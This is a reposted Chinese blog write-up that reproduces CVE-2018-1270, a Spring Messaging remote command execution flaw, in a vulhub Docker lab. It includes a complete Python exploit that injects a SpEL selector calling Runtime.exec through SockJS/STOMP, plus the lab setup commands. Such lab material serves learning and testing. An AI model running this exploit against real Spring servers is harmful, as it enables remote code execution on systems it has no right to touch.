Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
发布日期:2021-06-29 11:26:32 浏览次数:2 分类:技术文章

本文共 2745 字,大约阅读时间需要 9 分钟。

声明

好好学习,天天向上

漏洞描述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响范围

Spring Framework 5.0 to 5.0.4.

Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响

复现过程

这里使用5.0.4版本

使用vulhub

cd /app/vulhub-master/spring/CVE-2018-1270

使用docker启动

docker-compose builddocker-compose up -d

环境启动后,访问http://your-ip:8080

http://192.168.239.129:8080

创建exp.py,内容如下(自行修改IP)

#!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):    letters = string.ascii_lowercase + string.digits    return ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):    def __init__(self, url, *args, **kwargs):        super().__init__(*args, **kwargs)        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'        self.daemon = True        self.session = requests.session()        self.session.headers = {            'Referer': url,            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'        }        self.t = int(time.time()*1000)    def run(self):        url = f'{self.base}/htmlfile?c=_jp.vulhub'        response = self.session.get(url, stream=True)        for line in response.iter_lines():            time.sleep(0.5)        def send(self, command, headers, body=''):        data = [command.upper(), '\n']        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))                data.append('\n\n')        data.append(body)        data.append('\x00')        data = json.dumps([''.join(data)])        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)        if response.status_code != 204:            logging.info(f"send '{command}' data error.")        else:            logging.info(f"send '{command}' data success.")    def __del__(self):        self.session.close()sockjs = SockJS('http://192.168.239.129:8080/gs-guide-websocket')sockjs.start()time.sleep(1)sockjs.send('connect', {    'accept-version': '1.1,1.0',    'heart-beat': '10000,10000'})sockjs.send('subscribe', {    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/cve-2018-1270')",    'id': 'sub-0',    'destination': '/topic/greetings'})data = json.dumps({'name': 'vulhub'})sockjs.send('send', {    'content-length': len(data),    'destination': '/app/hello'}, data)

执行

python3 exp.py

在这里插入图片描述

在这里插入图片描述

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose builddocker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

转载地址:https://blog.csdn.net/zy15667076526/article/details/111413964 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
下一篇:Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

发表评论

最新留言

不错!
[***.144.177.141]2024年04月08日 15时03分57秒